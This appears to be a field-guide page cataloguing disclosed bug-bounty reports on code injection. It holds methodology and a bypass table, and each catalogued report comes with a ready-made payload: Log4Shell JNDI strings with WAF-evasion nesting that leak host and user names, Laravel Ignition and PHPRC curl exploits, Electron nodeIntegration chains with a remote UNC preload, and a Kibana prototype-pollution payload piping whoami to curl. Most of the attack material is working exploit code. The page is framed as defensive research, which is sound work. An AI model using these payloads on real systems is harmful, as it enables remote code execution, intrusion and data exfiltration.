⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued βŒ‚
πŸ”Ž
Field Guide/Vulnerabilities/Code Injection
Vulnerabilities

Code Injection

Β§Basic information

Code injection is getting the target to execute attacker-supplied instructions instead of treating them as inert data. The instruction can be a language expression, a template/markup option, a config directive, a serialized object, a shell command, an environment variable, a URI handler, or a native DLL. Where XSS runs JavaScript in a victim's browser, code injection runs code in the server, the build runner, or the victim's desktop β€” the payoff is a shell, a service-account token, or the CI keys, which is why almost every case in this class is high/critical.

The whole game is finding the sink and picking the right primitive for it. A parameter that names a class funnels into const_get/new; a "pass-through" search param reaches a scripting engine; a user-controlled config field becomes a directive; a logged header hits Log4j's lookup evaluator; an object mapped from untrusted JSON lets you override to_s/bytesize; a desktop wrapper hands your URL to shell.openExternal. Each sink has its own confirmation oracle and its own escalation.

Β§Methodology

  1. Map inputs β†’ sinks by primitive. For every parameter, header, JSON/GraphQL field, config field, and file path, ask which category of sink it can reach (template option, search param, config directive, env-file, logged string, object-mapper, desktop URL). The category dictates the payload.
  2. Fire a primitive-specific canary β€” arithmetic for template/expression engines, a compile-split for scripting sinks, an OOB JNDI string for logged fields, a benign directive for config templating.
  3. Prefer a differential oracle over a live exploit, especially in scoped programs: a 200/500 compile split or a document-ordering side channel proves code execution without a sandbox escape or a shell.
  4. Confirm the context your input lands in β€” string vs numeric vs /* */ comment vs template literal. Escaping quotes does nothing if the sink is a comment.
  5. Escalate to a real primitive: get a payload file on disk first (attachment upload β†’ predictable path), then reach it via require/include/log-poison; or ride the injection through a cache key that is later deserialized.
  6. For desktop apps, detection is architectural, not payload-based β€” unpack the app, find the localhost helper / window.open wrapper / auto-open mimetype list, then test cross-origin.
# Expression/template canary β€” arithmetic that only evaluates if executed # Send each; a response containing 49 means server-side evaluation (pivot to SSTI/RCE) ${7*7} #{7*7} {{7*7}} <%= 7*7 %> *{7*7} # OS-command probe β€” separators, blind timing, OOB ; id | id `id` $(id) %0aid ${IFS} `sleep 5` ;nslookup COLLAB

Β§Injection primitives

Identify which sink your input reaches, then use the matching technique.

Template / markup option that names a class

Markdown and templating engines that accept an option naming a class or formatter funnel straight into const_get/new. Pick a class whose constructor loads a file (require/require_relative allow ../ traversal). Upload your payload first so you have a predictable on-disk path.

<!-- Kramdown inline options: Rouge formatter -> const_get(Redis).new -> driver require() traversal --> {::options auto_ids="false" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/HASH/payload.rb\}" /}

Pass-through search parameter β†’ scripting engine

Any free-form search field (sort, query, aggs, script_fields) forwarded raw to Elasticsearch/OpenSearch is a Painless scripting sink. Confirm safely with a differential oracle β€” a valid script compiles (200), a broken one fails (500), and a doc-referencing script changes ordering β€” no sandbox escape needed to prove execution.

# baseline (ordering changes -> raw ES sort reached) sort_query = [{"id":"asc"}] # valid Painless -> HTTP 200 (compiler reached); unterminated source -> HTTP 500 (compile-fail oracle) sort_query = [{"_script":{"type":"number","script":{"source":"1+1","lang":"painless"},"order":"asc"}}] # per-document execution proven via ordering side channel sort_query = [{"_script":{"type":"number","script":{"source":"doc[\"_seq_no\"].value","lang":"painless"},"order":"asc"}}]

Config templating (directive injection)

User input rendered into a server config file (nginx.conf, haproxy annotations, Ingress path, Airflow connection Extra, AV "scanner path") is directive injection. When inline scripting directives are filtered, stage it: write a snippet to disk with one directive, then include it from a second config to regain full execution.

# stage1 Ingress path: write POST body to a known temp dir path: |- /body/ { client_body_in_file_only on; client_body_temp_path /tmp/nginx/f292392; # # uploaded snippet (POSTed to /body/): Lua that shells out # set_by_lua_block $v { local f=io.popen(ngx.req.get_headers()["pathinjection"]); return f:read("*all"); } # stage2 Ingress path: include the snippet -> set_by_lua_block runs io.popen path: |- /rce/ { include /tmp/nginx/f292392/*; #

Env-var / file-command injection

A fixed, well-known delimiter in a file-command (GITHUB_ENV, GITHUB_OUTPUT) lets untrusted input break out of the intended variable and assign a dangerous one (PATH, NODE_OPTIONS, LD_PRELOAD) consumed by a later step. Related: env vars that control an interpreter's config (PHPRC) turn "set a variable" into config injection.

# multi-line env-file breakout via a predictable delimiter (@actions/core < 1.9.1) somevalue _GitHubActionsFileCommandDelimeter_ PATH=/attacker/bin # fileless PHP config injection: /dev/fd/0 feeds php.ini from the POST body curl -sk "https://TARGET/?PHPRC=/dev/fd/0" -X POST -d 'auto_prepend_file="/path/you/control"'

Logged strings (Log4j JNDI)

An outdated Log4j evaluates ${jndi:...} lookups in any logged string β€” search box, User-Agent, X-Forwarded-For, any header. Spray a canary across every field and header, then watch a collaborator/DNS server; ${sys:user.name}/${hostName} in the hostname exfiltrates identity even blind.

# basic canary β€” exfils host+user, confirms blind ${jndi:ldap://${hostName}.${sys:user.name}.COLLAB/a} # WAF-bypass via nested lookups that rebuild jndi/ldap past signatures ${j${main:k5:-Nd}i${spring:k5:-:}ldap://${sys:user.name}-x.COLLAB/}

Debug / dev endpoints

Debug mode leaks a live RCE endpoint. Fingerprint the debug banner, then drive the public N-day. Laravel APP_DEBUG=true exposes Ignition's solution executor, reachable unauthenticated on ≀8.4.2.

# Laravel Ignition -> php://filter log-poison -> RCE (CVE-2021-3129) curl -XPOST -H 'Content-Type: application/json' https://TARGET/_ignition/execute-solution \ -d '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters":{"variableName":"x","viewFile":"php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}'

Object-mapper β†’ protocol injection

When a library maps untrusted JSON to method-backed objects (Sawyer/Octokit, OpenStruct-like), any downstream call to to_s/bytesize/length is attacker-controlled. Against the redis-rb driver the RESP frame is built as $#{i.bytesize}\r\n#{i} β€” declare a short bytesize but return a longer real string and your extra bytes spill into the command stream as new Redis commands. Poison a cache key that is later Marshal.load'ed for RCE.

// nested Sawyer object: small bytesize, long to_s carrying injected RESP commands { "default_branch": { "to_s": { "to_s": "ggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:jjjj\r\n$NNN\r\n<marshal_gadget>", "bytesize": 3 } } }

Lexical-context breakout in generated code

Code-generation / session-recording tools embed your input into emitted source. Map exactly which lexical context it lands in β€” escaping quotes is useless if the sink is a /* */ comment. Inject */…/* to break out of the comment; use $IFS for spaces.

// attacker-supplied navigation URL breaks out of a /* */ comment in the generated test https://example.com?q=*/require(`child_process`).exec(`touch$IFS/tmp/pwn`)/* // generated: page.waitForNavigation(/*{ url: 'https://example.com?q=*/require(`child_process`).exec(`touch$IFS/tmp/pwn`)/*' }*/)

Desktop wrappers (Electron / Muon / CEF)

The largest cluster. Detection is architectural: unpack app.asar, then grep for window.open / new BrowserWindow wrappers, shell.openExternal, nodeIntegration, openUrl, and any localhost helper. Any in-app HTML/JS sink is a path to native code if context isolation is off β€” leak the BrowserWindow constructor via a benign window.open, then build your own window with nodeIntegration.

// window.open forwards attacker window features -> nodeIntegration + remote UNC preload -> RCE window.open('data:text/html,x', '', ['nodeIntegration=true', 'preload=\\\\COLLAB\\data\\cmd.js'].join(',')) // BrowserWindow constructor leaked from a benign handle -> spawn a node window -> child_process bw = window.open('about:blank'); nbw = new bw.constructor({show:false, webPreferences:{nodeIntegration:true}}); nbw.loadURL('about:blank'); nbw.webContents.executeJavaScript('this.require("child_process").exec("calc")');
● NOTE
A localhost helper (websocket/HTTP) for browser↔app IPC is often the softest entry: websockets are not bound by SOP/CORS, so a missing Origin check means any website can drive the privileged app. Find it with netstat -anb/lsof -i, connect cross-origin, and swap the command's source/target fields to redirect the privileged window (#873614).

URI-scheme & auto-open sinks

Anywhere an app hands an attacker/server-controlled URL to an OS "open URL" API (shell.openExternal, QDesktopServices::openUrl, ShellExecute, xdg-open) with no scheme allowlist is an RCE / NTLM-leak sink. Enumerate installed URI handlers for command-execution parameters (WinSCP sftp: proxy commands, .desktop/.terminal/.command auto-run files).

# WinSCP 'Local' proxy mode parsed straight from an sftp: URL runs a command before connecting sftp://youtube:com;watch=sn96aVA2;x-proxymethod=5;x-proxytelnetcommand=calc.exe@foo.bar/

DLL / config sideload (Windows/macOS local)

A precompiled OpenSSL built without --openssldir defaults to c:\usr\local\ssl, which is world-writable. Any low-priv user drops an openssl.cnf there that loads a malicious engine DLL, executing as whoever launches the app. Find it with Procmon (a PATH NOT FOUND on the config read).

# openssl.cnf that loads an attacker DLL as an engine (dropped in a writable default openssldir) openssl_conf = openssl_init [openssl_init] engines = engine_section [engine_section] evil = evil_section [evil_section] engine_id = evil dynamic_path = C:\\usr\\local\\ssl\\calc.dll

Β§Bypasses

Filter / controlBypassSeen in
Log4j WAF signaturenested lookups rebuild jndi/ldap: ${j${main:k5:-Nd}i${spring:k5:-:}ldap://…}#1430622
Painless sandbox (scoped program)prove exec via doc-ordering side channel + 200/500 compile split β€” no escape#3694007
by_lua annotation filtertwo-stage: client_body_in_file_only writes snippet β†’ include from 2nd Ingress β†’ set_by_lua_block#2701701
Quote-escaping sanitizerinput lands in a /* */ comment; inject */payload/*, $IFS for spaces#1636382
RESP byte-length checkdeclare a short bytesize, send a longer to_s β†’ bytes spill as new Redis commands#1679624
HTML tag whitelist (Electron)<img usemap> + <area target=_self> in-app redirect defeats banned tags & forced _blank#783877
Internal-domain regexattacker subdomain embeds the trusted token (launchpad.dev.attacker.com)#1016966
Incomplete prior fixearlier patch blocked about:/file: nav but left chrome:// navigable#395737
base64 log-poison noiseUTF-16LE + quoted-printable filter chain realigns double-decoded base64#2765259
Needs no file writePHPRC=/dev/fd/0 feeds php.ini from the POST body; remote preload via \\host\share UNC#2182202
const_get class filterany un-namespaced class allowed; pick one whose ctor does require (Redis driver)#1125425
Static env-file delimiterpredictable _GitHubActionsFileCommandDelimeter_ enables multi-line GITHUB_ENV breakout#1625652
β–² WARNING
In scoped or production programs, do not run a live shell. A differential oracle (compile-fail 500 vs 200, an observable ordering side channel, an OOB DNS callback with ${sys:user.name}) demonstrates code execution convincingly without touching data or destabilizing the target β€” and triagers accept it (#3694007, #1430622).

Β§Escalation & impact

Code injection is usually the last link, but it feeds the biggest chains:

β–Έ TIP
Get your payload on disk first. Half the server-side chains here are "template sink that can require/include a path" β€” worthless until you control a file at a known path. An attachment/snippet upload that returns a predictable /uploads/... path is the enabler, not the RCE itself.

Β§Prevention

Β§Tools

✦Specimens β€” real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β€” concrete payload, outcome, and matching practice lab. 86 in this class.

Real-world example

Electron desktop RCE via unauthenticated localhost websocket + nodeIntegration

β—† Critical
Specimen #873614 Β· playstation Β· 15000 Β· 777 votes Β· resolved
Program playstationSurface desktopChain Missing Origin check -> command injection into Electron nTag webhook

Root cause

A local websocket control server (localhost:1235) does not validate the Origin header, and the Electron window it drives has nodeIntegration=true; any web page can command the Electron app to navigate to attacker JS that spawns processes.

Method

  1. Find the local server (netstat -anb) and confirm no Origin check on ws://localhost:PORT
  2. Reverse the Electron app.asar (search commandHandler) for navigation commands like setUrl/setUrlDefaultBrowser
  3. From any web page connect to the websocket and send a JSON command swapping source/target to make the privileged Electron window load attacker HTML
  4. Serve HTML whose Node code runs child_process.exec
let s = new WebSocket('ws://localhost:1235/'); s.onopen = () => s.send(JSON.stringify({command:'setUrl',params:{url:'https://attacker/node.html'},source:'QAS',target:'AGL'})); // node.html: <script>require('child_process').exec('calc')</script> // alt: {command:'setUrlDefaultBrowser',params:{url:'file:///c:/windows/system32/calc.exe'}...}

Insight β€” Whenever a desktop app runs a localhost helper (websocket/HTTP) for browser<->app IPC, test it cross-origin: websockets are NOT bound by SOP/CORS, so a missing Origin check = any website can drive it. Pair with an Electron window that has nodeIntegration for full RCE.

Real-world example

Slack Electron RCE via HTML injection (area/map) + BrowserWindow leak

β—† Critical
Specimen #783877 Β· slack Β· awarded Β· 507 votes Β· resolved
Program slackSurface desktopChain HTML injection -> in-app _self redirect -> BrowserWindTag file-upload

Root cause

Slack Posts stored raw HTML JSON that could be edited directly; with script/iframe/meta banned and target forced to _blank, an area/map image-map still allowed a _self in-app redirect to attacker JS, which leaked the Electron BrowserWindow constructor to spawn a nodeIntegration window and run commands.

Method

  1. Create a Slack Post; fetch its file JSON via /api/files.info url_private
  2. Edit the Post JSON directly (or upload JSON then change filetype to docs) to inject HTML
  3. Use <img usemap> + <area target=_self href=attacker> to force an in-app redirect (bypasses banned tags and _blank rewriting)
  4. Attacker page overwrites desktop.delegate/window hooks, opens about:blank to leak BrowserWindow, constructs a nodeIntegration window and executeJavaScript child_process.exec
<img src="https://files.slack.com/.../x.png" width=10000 height=10000 usemap="#m"> <map name="m"><area shape=rect coords="10000,10000 0,0" href="https://attacker/t.html" target="_self"></map> // t.html: window.desktop.delegate={canOpenURLInWindow:()=>true};window.desktop.window={open:()=>1}; bw=window.open('about:blank'); nbw=new bw.constructor({show:false,webPreferences:{nodeIntegration:true}}); nbw.loadURL('about:blank'); nbw.webContents.executeJavaScript('this.require("child_process").exec("calc")');

Insight β€” In Electron apps, ANY in-app redirect/HTML/JS sink is a path to RCE if context isolation is off: leak the BrowserWindow constructor via window.open, then build your own window with nodeIntegration. HTML filters that only ban script/iframe still leak via area/map image maps for one-click navigation.

Real-world example

Kramdown inline options -> Ruby object instantiation -> require traversal RCE

β—† Critical
Specimen #1125425 Β· gitlab Β· 20000 Β· 426 votes Β· resolved
Program gitlabSurface webChain Wiki push -> Kramdown inline options -> Rouge formatteTag file-upload

Root cause

Rendering wiki files (.rmd) with Kramdown allowed inline {::options} directives; the Rouge formatter option reaches const_get, letting an attacker instantiate arbitrary no-namespace Ruby classes (e.g. Redis), whose driver option does a require with directory traversal to eval an uploaded .rb.

Method

  1. Upload a Ruby payload as a snippet attachment to get a known /uploads path on disk
  2. Push a .rmd wiki file via git with Kramdown inline options setting the Rouge formatter to Redis and driver to a traversal path to the uploaded .rb
  3. Load the wiki page; Redis._parse_driver require's the traversed file and Ruby executes it
{::options auto_ids="false" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/HASH/payload.rb\}" /} ~~~ ruby def what? 42 end ~~~

Insight β€” Markdown/templating options that accept class names funnel into const_get/const_get.new - hunt for any loaded class whose constructor loads a file (require/require_relative allow traversal). Get your payload on disk first (attachment upload gives a predictable path).

Real-world example

Redis RESP command injection via Sawyer::Resource to_s/bytesize -> Marshal RCE

β—† Critical
Specimen #1679624 Β· gitlab Β· USD 33510 Β· 385 votes Β· resolved
Program gitlabSurface apiChain attacker GitHub API response -> Sawyer method override -&Tag webhook

Root cause

Octokit/Sawyer turns a JSON hash into an object whose methods (including built-ins like to_s and bytesize) are attacker-controlled. When such an object is passed to the redis-rb driver, it builds the RESP frame as `$#{i.bytesize}\r\n#{i}` - a short bytesize with a longer real string lets attacker bytes spill into the command stream as new Redis commands.

Method

  1. Stand up a fake GitHub API server; trigger GitLab's GitHub import against it.
  2. Return a JSON node (e.g. repository.default_branch or object id) whose value is a nested Sawyer object overriding to_s and bytesize.
  3. Provide a small bytesize but a long to_s containing \r\n plus arbitrary Redis commands (SET/LPUSH/REPLICAOF).
  4. Use SET on a cache key holding a Marshal blob (or LPUSH a Sidekiq job) so a later Marshal.load deserialises a universal Ruby gadget -> RCE.
{ "default_branch": { "to_s": { "to_s": "ggg\r\n<INJECTED RESP: *3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:jjjj\r\n$NNN\r\n<marshal_gadget>...>", "bytesize": 3 } } }

Insight β€” When a library maps untrusted JSON to method-backed objects (Sawyer, OpenStruct-like), any downstream code that calls to_s/bytesize/length on that object is attacker-controlled. Against redis-rb the bytesize/real-length mismatch is a protocol (RESP) injection primitive; escalate through a cache key that is later Marshal.load'ed using a universal deserialization gadget.

Real-world example

Juniper J-Web unauth RCE via PHPRC + auto_prepend_file (CVE-2023-36845)

β—† Critical
Specimen #2182202 Β· mtn_group Β· none Β· 87 votes Β· resolved
Program mtn_groupSurface webChain PHPRC=/dev/fd/0 -> auto_prepend_file directive -> arbi

Root cause

J-Web (PHP) lets an unauthenticated request control the PHPRC environment variable; pointing PHPRC at POST body via /dev/fd/0 injects php.ini directives (auto_prepend_file) so an attacker-chosen file is executed/included before the target script, without writing to disk.

Method

  1. Send an unauthenticated request with ?PHPRC=/dev/fd/0
  2. POST a php.ini snippet as the body setting auto_prepend_file to a target/attacker path
  3. PHP reads config from stdin and prepends the specified file -> code/file execution
curl -sk "https://TARGET/?PHPRC=/dev/fd/0" -X POST -d 'auto_prepend_file="/etc/passwd"' # escalate to RCE by prepending a file whose contents you control (e.g. uploaded/log/data:// PHP)

Insight β€” External-variable-modification bugs (PHPRC, LD_PRELOAD, PHP_VALUE) turn 'set an env var' into config injection. /dev/fd/0 feeds the POST body in as the ini file, avoiding any file write. A reusable N-day pattern for PHP appliances (Juniper EX/SRX J-Web).

Real-world example

PrimeFaces 5.3 expression-language injection (dynamiccontent)

β—† Critical
Specimen #248116 Β· deptofdefense Β· none Β· 84 votes Β· resolved
Program deptofdefenseSurface web

Root cause

PrimeFaces 5.3 DynamicContent streamer is vulnerable to EL injection: the pfdrid parameter is decrypted with the default hardcoded key 'primefaces' and evaluated as an EL expression, enabling Java code execution.

Method

  1. Fingerprint PrimeFaces 5.3 (javax.faces.resource paths)
  2. Build an EL payload and encrypt it with the default 'primefaces' key using primefaces-5.3.jar
  3. Append it as pfdrid with pfdrt=sc to dynamiccontent.properties.xhtml
  4. Send GET; confirm via DNS callback (outbound HTTP may be blocked)
GET /javax.faces.resource/dynamiccontent.properties.xhtml?pfdrt=sc&ln=primefaces&pfdrid=<ENCRYPTED_EL_PAYLOAD> # EL payload does a JNDI/DNS lookup or File ops; encrypt with default key 'primefaces'

Insight β€” Old frameworks with default crypto keys turn 'signed' parameters into injection sinks - PrimeFaces <5.3.8 dynamiccontent (CVE-2017-1000486). Use DNS exfil to prove blind execution when egress is filtered.

Real-world example

Log4Shell (CVE-2021-44228) JNDI injection with nested-lookup WAF bypass

β—† Critical
Specimen #1430622 Β· acronis Β· awarded Β· 74 votes Β· resolved
Program acronisSurface webChain logged input -> Log4j JNDI lookup -> OOB DNS/LDAP call

Root cause

An outdated Log4j evaluates ${jndi:...} lookups in any logged string (search box, User-Agent, headers). A JNDI lookup to attacker LDAP/RMI triggers remote class loading / data exfil. Nested ${...:-...} lookups obfuscate the payload to bypass WAF signatures.

Method

  1. Spray canary JNDI payloads across inputs and headers (search params, User-Agent, X-Forwarded-For, etc.).
  2. Watch a collaborator/DNS server for interaction; ${sys:user.name}/${hostName} in the hostname exfiltrates data and confirms the vuln.
  3. If a WAF blocks ${jndi:ldap://, use nested lookups to reconstruct the tokens.
# basic canary: ${jndi:ldap://${hostName}.uri.COLLAB/a} # WAF-bypass via nested lookups: ${j${main:\k5:-Nd}i${spring:k5:-:}ldap://${sys:user.name}-x.COLLAB/}

Insight β€” For any Java target, inject ${jndi:ldap://${sys:user.name}.${hostName}.COLLAB/a} into every reflected/logged field and header and watch OOB. Prepend ${sys:...}/${env:...} to exfil host info even blind. Defeat naive WAFs with nested ${lower:...}/${::-x} lookups that rebuild 'jndi'.

Real-world example

RCE via crafted Pentaho .prpt report (embedded BeanShell/JS/Java) + default creds

β—† Critical
Specimen #1677047 Β· mtn_group Β· none Β· 58 votes Β· resolved
Program mtn_groupSurface webChain default credentials -> report upload -> BeanShell RCETag file-upload

Root cause

Pentaho Business Analytics Server lets an authenticated user upload/run .prpt reports that may embed server-side scripting (BeanShell, JavaScript, Java), which executes on the server. Combined with default admin/password, an unauthenticated attacker reaches RCE.

Method

  1. Find Pentaho at /pentaho and try default creds admin/password
  2. Build a malicious .prpt in Pentaho Report Designer with a BeanShell/Java scriptlet running OS commands
  3. Upload and run the report to execute code on the server
// BeanShell scriptlet inside .prpt report definition Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","id > /tmp/pwn"});

Insight β€” Reporting/BI engines (Pentaho, JasperReports, BIRT) treat report templates as code; if upload+run is allowed (or default creds exist), a crafted report = RCE. Always test default-cred admin panels for report/template upload.

Real-world example

Electron IPC injection via Function.prototype.apply override

β—† Critical
Specimen #188086 Β· brave Β· awarded Β· 53 votes Β· resolved
Program braveSurface desktop

Root cause

Brave's preload wrapper called EventEmitter.prototype.emit.apply with the internal ipcRenderer as the first argument; page JS could override Function.prototype.apply to capture that object and call ipcRenderer.send() with arbitrary IPC actions.

Method

  1. Override Function.prototype.apply on the page before the internal wrapper runs
  2. Capture the leaked ipc object passed as arguments[0]
  3. Call ipc.send('dispatch-action', <app action JSON>) to change settings / trigger UXSS
<script> Function.prototype.apply=function(ipc){ ipc.send("dispatch-action",'{"actionType":"app-change-setting","key":"general.homepage","value":"http://attacker.example.com/"}'); }; </script> <embed src=".swf"></embed>

Insight β€” In Electron/Chromium-embedded apps, look for privileged internal objects leaked into overridable JS prototype methods (apply/call/toString); overriding them from untrusted page context can reach the IPC bridge.

Real-world example

Electron RCE via window.open nodeIntegration + remote UNC preload

β—† Critical
Specimen #943725 Β· rocket_chat Β· none Β· 40 votes Β· resolved
Program rocket_chatSurface desktopChain custom-script/stored-JS -> window.open with nodeIntegratiTag file-upload

Root cause

An Electron app's overridden window.open forwards caller-controlled window features, letting attacker HTML request a child window with nodeIntegration=true and a preload script loaded from an attacker-controlled UNC/remote path -> arbitrary code in a node context.

Method

  1. Get attacker-controlled HTML/JS to run in the app (here: server admin 'Custom Script for Logged In Users')
  2. Call window.open to a data: URL passing nodeIntegration=true and preload set to a remote UNC path
  3. The Electron client loads the remote preload with node enabled and executes it
window.open('data:text/html,<h1>PWNED</h1>', '', ['nodeIntegration=true', 'preload=\\\\45.155.173.235\\data\\cmd.js'].join(','))

Insight β€” When auditing Electron apps, grep for custom window.open / new BrowserWindow wrappers that pass user-influenced features. If nodeIntegration or preload can be attacker-set (or preload path is not pinned to app dir), it's RCE. Remote preload via UNC (\\host\share\x.js) works on Windows without a local file.

Real-world example

Log4Shell JNDI header injection (CVE-2021-44228)

β—† Critical
Specimen #1459714 Β· acronis Β· awarded Β· 33 votes Β· resolved
Program acronisSurface webChain JNDI lookup -> LDAP -> remote class load -> RCE

Root cause

A vulnerable Log4j version logs attacker-controlled request headers, and the JNDI lookup performs an outbound LDAP fetch, enabling RCE.

Method

  1. Send the JNDI payload in several commonly-logged headers
  2. Watch Collaborator/interactsh for the callback (hostName prefix confirms interpolation)
  3. Escalate to RCE via the JNDI/LDAP chain on vulnerable JDK/Log4j
curl --http1.1 -s -o /dev/null \ -H 'User-Agent: ${jndi:ldap://${hostName}.COLLAB/a}' \ -H 'X-Forwarded-For: ${jndi:ldap://${hostName}.COLLAB/a}' \ -H 'Referer: ${jndi:ldap://${hostName}.COLLAB/a}' \ https://TARGET

Insight β€” Spray ${jndi:ldap://${hostName}.COLLAB/a} across every reflected/logged input (UA, XFF, Referer, form fields, usernames). The ${hostName} nested lookup tells you which internal host resolved the payload.

Real-world example

XSS to RCE in Electron desktop client via shell.openExternal + RegExp.test override

β—† Critical
Specimen #899964 Β· rocket_chat Β· none Β· 31 votes Β· resolved
Program rocket_chatSurface desktopChain stored/reflected XSS -> shell.openExternal(file://) ->Tag file-upload

Root cause

An Electron renderer exposes electron.shell.openExternal through an onclick handler that gates URLs with a RegExp.test check; because the check runs in the same JS context an attacker can override RegExp.prototype.test to whitelist a file:// URL and open/execute local binaries.

Method

  1. Obtain any XSS in the Electron webview (e.g. stored message XSS)
  2. Create an anchor with a file:// href to a local executable
  3. Overwrite RegExp.prototype.test so the URL-validation call returns true
  4. Dispatch a click event to invoke shell.openExternal on the file:// URL
(function() { const payload = `file:///System/Applications/Calculator.app`; var counter = 0; var target = document.createElement(`a`); target.setAttribute(`href`, payload); document.body.appendChild(target); var old_test = RegExp.prototype.test; RegExp.prototype.test = function (s) { if (s === payload) { return (++counter > 3); } return old_test.call(this, s); }; target.dispatchEvent(new Event(`click`)); })();

Insight β€” In Electron apps, any XSS escalates to RCE if nodeIntegration or shell.openExternal is reachable. Client-side URL allowlists implemented with RegExp.test in the same context are bypassable by monkey-patching prototype methods.

Real-world example

openssl_verify()==-1 truthy signature bypass -> unauth RCE

β—† Critical
Specimen #236552 Β· automattic Β· awarded Β· 31 votes Β· resolved
Program automatticSurface webChain Signature bypass -> unauthenticated Vaultpress API ->

Root cause

Vaultpress validates its API signature with `if (openssl_verify(...))`, but openssl_verify returns -1 on error (e.g. a signature made against a different key type), and PHP treats -1 as truthy, so the signature check passes and the unauthenticated API method reaches RCE.

Method

  1. Reach the vaultpress API path (?vaultpress=true) with firewall disabled/bypassed
  2. Send a request whose sslsig is a valid signature under a mismatched key type so openssl_verify returns -1
  3. The truthy -1 passes validate_api_signature -> proceed to the RCE method
// vulnerable check: if ( openssl_verify( serialize(array('uri'=>$uri,'post'=>$post)), base64_decode($sslsig), $public_key ) ) { return true; } // -1 (error) is truthy -> bypass. Craft sslsig with a different key type: php genkey1.php; php genkey2.php; php PoC.php

Insight β€” Functions returning -1/0/1 (openssl_verify, strcmp-style, preg_match) must be compared with ===; a bare if() treats -1 as success. Grep code audits for `if (openssl_verify(` and similar tri-state calls.

Real-world example

Log4Shell (CVE-2021-44228) JNDI injection via reflected HTTP inputs

β—† Critical
Specimen #1425565 Β· mtn_group Β· none Β· 30 votes Β· resolved
Program mtn_groupSurface web

Root cause

Apache Log4j2 performs JNDI lookups on logged strings, so any user-controlled value (query param, User-Agent, headers) that reaches a log statement triggers an outbound LDAP fetch and remote class loading.

Method

  1. Inject a jndi lookup payload into every candidate sink (URL params, User-Agent, X-* headers)
  2. Use an OOB/interaction host and embed ${hostName}/${env} to exfil data and confirm blind execution
  3. Watch the collaborator/interact.sh log for the DNS/LDAP callback
GET /?x=${jndi:ldap://${hostName}.COLLAB.interact.sh/a} HTTP/1.1 Host: TARGET:8443 User-Agent: ${jndi:ldap://${hostName}.COLLAB.interact.sh/a}

Insight β€” Spray the JNDI payload across many input surfaces and nest ${hostName}/${sys:...} to turn a blind hit into data exfiltration. Test non-standard ports (8080/8443) where Java app servers commonly listen.

Real-world example

Ivanti EPM CSA unauth code injection via Cookie (CVE-2021-44529)

β—† Critical
Specimen #1624172 Β· deptofdefense Β· 1000 Β· 28 votes Β· resolved
Program deptofdefenseSurface web

Root cause

Ivanti EPM Cloud Services Appliance /client/index.php evaluates a base64-encoded payload passed in a Cookie value, allowing an unauthenticated attacker to run PHP/system commands as the 'nobody' user.

Method

  1. Fingerprint a vulnerable CSA version
  2. Base64-encode the PHP/command to run
  3. Send GET /client/index.php with the payload in a specific Cookie field (e.g. c=)
GET /client/index.php HTTP/1.1 Host: TARGET Cookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=; # c = base64('phpinfo();')

Insight β€” Appliance PHP endpoints that eval a cookie/parameter after base64-decoding are a recurring unauth-RCE pattern; test decoded-then-evaluated inputs on edge devices with simple markers like phpinfo().

Real-world example

Server-side headless Chromium (--no-sandbox) reporting -> browser-exploit RCE

β—† Critical
Specimen #1168765 Β· elastic Β· USD 10000 Β· 25 votes Β· resolved
Program elasticSurface webChain HTML-injection/XSS/open-redirect -> attacker JS in headle

Root cause

Kibana Reporting renders pages with a bundled headless Chromium launched --no-sandbox; if an attacker can steer it at attacker-controlled JS (HTML injection, XSS, or open redirect), a public Chrome RCE exploit executes OS commands on the server.

Method

  1. Identify a server-side rendering/reporting feature backed by an outdated headless Chromium
  2. Find any primitive to point rendering at your JS (HTML injection / XSS / open redirect)
  3. Serve a Chrome renderer-RCE exploit page; command runs on the reporting host
./headless_shell --no-sandbox http://ATTACKER:8009/exploit.html # exploit.html adapts a public Chrome RCE (metasploit chrome exploit) to run e.g. `uname -a > /tmp/pwn`

Insight β€” Any 'export to PDF/PNG', link-preview, or SSR feature using a pinned/old headless browser is an RCE sink. Chain it with the weakest way to control the rendered content (open redirect counts even under CSP). Fingerprint the Chromium version shipped with the product.

Real-world example

Prototype pollution to RCE in Kibana telemetry collector

β—† Critical
Specimen #852613 Β· elastic Β· 10000 Β· 22 votes Β· resolved
Program elasticSurface webChain prototype pollution -> gadget (sourceURL in vm) -> RCE

Root cause

A server-side lodash _.set() writes attacker-controlled keys from a stored 'saved object' into an object; supplying constructor.prototype.sourceURL pollutes Object.prototype, and the polluted sourceURL is later concatenated into vm/eval context, executing injected JS in the Node process.

Method

  1. Extend the .kibana mapping so the telemetry doc can carry constructor.prototype.sourceURL
  2. Index an upgrade-assistant-telemetry saved object whose value contains constructor.prototype.sourceURL with a JS payload
  3. Trigger a telemetry collection run (or restart Kibana) so _.set processes the doc
  4. The polluted sourceURL is evaluated -> child_process command runs, exfiltrating via curl
PUT /.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry { "upgrade-assistant-telemetry":{ "ui_open.overview":1, "constructor.prototype.sourceURL":"\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('whoami | curl https://COLLAB/ -d@-')" }, "type":"upgrade-assistant-telemetry" }

Insight β€” Grep server-side JS for _.set/_.merge/deep-assign fed by user data; the constructor.prototype.<x> key is the universal pollution vector, and any later use of the polluted value in a template/vm/sourceURL turns pollution into RCE.

Real-world example

Brave/Muon navigation to privileged chrome:// page via window.open noopener

β—† Critical
Specimen #415967 Β· brave Β· 650 Β· 21 votes Β· resolved
Program braveSurface desktopChain SOP bypass -> privileged internal page -> potential RC

Root cause

